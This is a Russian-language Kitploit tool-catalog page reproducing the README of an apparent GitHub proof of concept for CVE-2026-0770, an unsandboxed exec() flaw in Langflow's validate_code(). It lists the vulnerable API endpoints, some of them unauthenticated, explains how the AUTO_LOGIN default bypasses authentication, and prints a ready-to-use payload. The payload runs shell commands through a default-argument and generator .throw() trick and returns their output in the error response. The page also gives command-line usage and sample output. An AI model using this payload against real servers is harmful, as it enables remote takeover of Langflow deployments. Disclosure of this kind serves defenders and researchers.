Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-0770-PoC — # PoC для CVE-2026-0770 — удалённое выполнение кода в Langflow | Kitploit
Инструменты/GitHubGitHub/affix/cve-2026-0770-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеТроян Удаленного Доступа
GitHubaffix/cve-2026-0770-poc

CVE-2026-0770-PoC

# PoC для CVE-2026-0770 — удалённое выполнение кода в Langflow

Репозиторий
616 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-0770 - Удалённое выполнение кода в Langflow

Краткое описание

Langflow содержит критическую уязвимость удалённого выполнения кода в функции validate_code(), расположенной в src/lfx/src/lfx/custom/validate.py. Функция использует exec() для выполнения пользовательского Python-кода без песочницы, что позволяет выполнять произвольные команды на сервере.

Затронутые версии

  • Langflow последней версии (по состоянию на 7 февраля 2026 г.)

Другие CVE

Аналогичные уязвимости были обнаружены в связанных функциях и конечных точках:

  • CVE-2026-0772
  • CVE-2026-0771
  • CVE-2026-0769
  • CVE-2026-0768
  • CVE-2026-0767

Детали уязвимости

Функция validate_code() анализирует пользовательский код и выполняет определения функций с помощью :

exec()
root@kitploit:~
# validate.py:66
for node in tree.body:
    if isinstance(node, ast.FunctionDef):
        code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
        exec(code_obj, exec_globals)  # <-- Произвольное выполнение кода

Контекст exec_globals включает доступ к importlib и встроенным функциям Python, что позволяет злоумышленникам импортировать опасные модули (os, subprocess, socket) и выполнять произвольные системные команды.

Уязвимые конечные точки

Конечная точкаАутентификацияВектор атаки
POST /api/v1/validate/codeТребуется*Прямая отправка кода
POST /api/v1/custom_componentТребуется*Код в определении компонента
POST /api/v1/custom_component/updateТребуется*Код в обновлении компонента
POST /api/v1/webhook/{flow_id}ОтсутствуетПоток с код-компонентами
POST /api/v1/build_public_tmp/{flow_id}/flowОтсутствуетВыполнение публичного потока

* Аутентификацию можно обойти, когда AUTO_LOGIN=true (конфигурация по умолчанию)

Другие уязвимые функции

Следующие функции в validate.py также используют небезопасный exec():

ФункцияСтрокаОписание
validate_code()66Проверяет пользовательский код
eval_function()140Вычисляет строки функций
execute_function()182Выполняет произвольные функции
create_function()227Создаёт функции из кода
create_class()241-442Создаёт классы через prepare_global_scope() и build_class_constructor()

Эксплуатация

Трюк с генератором и методом throw

Функция validate_code() выполняет только определения функций, а не вызовы функций. Чтобы добиться выполнения кода с извлечением вывода, мы используем порядок вычисления аргументов по умолчанию в Python.

Ключевая идея: Выражения аргументов по умолчанию вычисляются во время определения функции, а не при её вызове.

root@kitploit:~
def foo(x=print("Я выполняюсь немедленно")):
    pass

Однако нам нужно извлечь вывод через HTTP-ответ. Конечная точка возвращает ошибки в теле ответа, поэтому нам нужно вызвать исключение, содержащее наш вывод.

Проблема: raise — это оператор, а не выражение, поэтому его нельзя использовать напрямую в аргументе по умолчанию.

Решение: Используйте метод .throw() генератора, который вызывает исключение и является выражением:

root@kitploit:~
(_ for _ in ()).throw(Exception("вывод здесь"))

Это создаёт пустой генератор и немедленно вызывает исключение. В сочетании с лямбда-функцией для захвата вывода команды:

root@kitploit:~
def exploit(
    _=(lambda r: (_ for _ in ()).throw(Exception(f"OUTPUT:\n{r.stdout}")))(
        __import__('subprocess').run("id", shell=True, capture_output=True, text=True)
    )
):
    pass

Порядок выполнения:

  1. exec() выполняет определение функции
  2. Аргумент по умолчанию _=... вычисляется немедленно
  3. subprocess.run() выполняет команду
  4. Лямбда-функция получает результат и вызывает метод .throw() генератора
  5. Вызывается исключение с выводом команды
  6. validate_code() перехватывает его и возвращает ошибку в ответе

Использование

root@kitploit:~
python poc.py --target http://localhost:7860 -c "id && whoami && hostname"

Параметры

ФлагОписание
-t, --targetURL цели (обязательно)
-c, --commandКоманда для выполнения (по умолчанию: id && whoami)
-k, --tokenJWT-токен (необязательно, по умолчанию используется автоматический вход)

Пример вывода (из Docker-контейнера langflowai/langflow:latest — 7 февраля 2026 г.)

root@kitploit:~
[*] Target: http://localhost:7860
[*] Attempting auto-login (default config)...
[+] Auto-login successful!
[*] Executing: id && whoami && hostname
[+] Status: 200
[+] Output:
uid=1000(user) gid=0(root) groups=0(root)
user
53977c93d567

Ссылки

  • Langflow GitHub: https://github.com/langflow-ai/langflow
  • Уязвимый файл: src/lfx/src/lfx/custom/validate.py
Скачать инструмент